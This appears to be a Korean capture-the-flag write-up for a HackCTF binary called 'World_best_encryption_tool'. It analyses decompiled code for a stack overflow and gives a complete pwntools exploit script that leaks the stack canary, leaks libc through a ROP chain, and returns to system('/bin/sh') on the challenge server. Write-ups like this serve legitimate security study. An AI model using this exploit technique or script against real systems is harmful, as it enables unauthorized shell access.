실행시키면 $rbp-0x80 에 입력을 받고 암호화 해서 출력한다. (딱봐도 28 이랑 XOR 연산)
57글자부터 canary값으로 추정되는값이 leak 된다.
Analyze
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
uint local_90;
char local_8c [4];
byte local_88 [64];
char local_48 [56];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
do {
puts("Your text)");
__isoc99_scanf(&DAT_00400913,local_88);
local_90 = 0;
while (local_90 < 0x32) {
local_88[(int)local_90] = local_88[(int)local_90] ^ 0x1c;
local_90 = local_90 + 1;
}
strncpy(local_48,(char *)local_88,0x39);
printf("Encrypted text)\n%s",local_48);
puts("\nWanna encrypt other text? (Yes/No)");
__isoc99_scanf(&DAT_00400913,local_8c);
iVar1 = strcmp(local_8c,"Yes");
} while (iVar1 == 0);
iVar1 = strcmp(local_8c,"No");
if (iVar1 != 0) {
printf("It\'s not on the option");
}
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
local_8c ->$rbp-0x84
local_88 ->$rbp-0x80
local_48 ->$rbp-0x40
canary -> $rbp-0x8
local_88 에 scanf("%s",local_88) 으로 입력받아 BOF 가 발생한다.
32h (50) 만큼 0x1c 와 xor 연산하고, local_48 에 39h(57) 만큼 strcpy 한다.
strcpy 할 때, canary 가 1byte 덮힐 수 있고 0x40-0x39 = 0x7 (canary=rbp-0x8)
local_48 을 출력해주기때문에 canary leak 가 가능하다.
local_8c 에 scanf("%s",local_8c) 으로 입력받아 마찬가지로 BOF 가 발생하고,
Yes 가 아닐 시, return 0 으로 종료한다.
Scenario
1. canary leak
xor 연산을 한 부분은 $rbp-0x40 ~ $rbp-0xE 으로 strcnpy된다, canary leak 와 관련이 없다.
복사되는곳에서 canary 까지의 거리는 0x40-0x8 = 38h (56), canary 의 첫바이트는 00 으로,
39h (57) 만큼 입력해야 leak 이 가능하다.
2. libc-base leak
Yes,No 를 입력받을때, canary까지 입력해 canary 를 덮고,
puts 함수로 리턴해 setvbuf@got 를 leak 한뒤, libc database search 에서 system, /bin/sh 주소를 찾자.
main 으로 다시 돌린다.
(puts 나 printf 의 주소를 leak 하려면 오류가 난다..)
(Yes 를 입력하고, 다시 입력을 받고, No 를 입력해 리턴할수도. 하지만 strncpy 함수가 0x39byte 를 복사하므로, 카나리 1byte 가 덮이게된다. 물론 \x00 으로 맞추면 문제없다. No 가 아니여도 정상적으로 종료되고 깔끔해서 이렇게한다.)
3. system('/bin/sh') 로 리턴
system : 0x45390
/bin/sh : 0x18cd57
setvbuf : 0x6fe70
from pwn import *
r=remote("ctf.j0n9hyun.xyz",3027)
#r=process("/GitHub/Writeup/Wargame/HackCTF/World_best_encryption_tool")
b=ELF("/GitHub/Writeup/Wargame/HackCTF/World_best_encryption_tool")
context.log_level='debug'
prdi=0x4008e3 # pop rdi ; ret
main=b.symbols['main']
system_off=0x45390
binsh_off=0x18cd57
setvbuf_off=0x6fe70
#=====canary leak=====#
pay1='x'*57
r.sendlineafter("text)\n",pay1)
r.recvuntil("\n")
r.recv(57)
canary=u64(b'\x00'+r.recv(7))
log.info(hex(canary))
r.sendlineafter("No)\n","Yes")
r.sendlineafter("text)\n","snwo.tistory.com")
#=====leak libc=====#
pay2=b'x'*0x7c
pay2+=p64(canary)
pay2+=p64(0xdeadbeef)
pay2+=p64(prdi)
pay2+=p64(b.got['setvbuf'])
pay2+=p64(b.plt['puts'])
pay2+=p64(main)
r.sendlineafter("No)\n",pay2)
r.recvuntil("option")
libcbase=u64(r.recv(6).ljust(8,b'\x00'))-setvbuf_off
system=libcbase+system_off
binsh=libcbase+binsh_off
log.success(hex(libcbase))
#=====system('/bin/sh')=====#
r.sendlineafter("text)\n","snwo.tistory.com")
pay3=b'x'*0x7c
pay3+=p64(canary)
pay3+=p64(0xdeadbeef)
pay3+=p64(prdi)
pay3+=p64(binsh)
pay3+=p64(system)
#pause()
r.sendlineafter("No)\n",pay3)
r.interactive()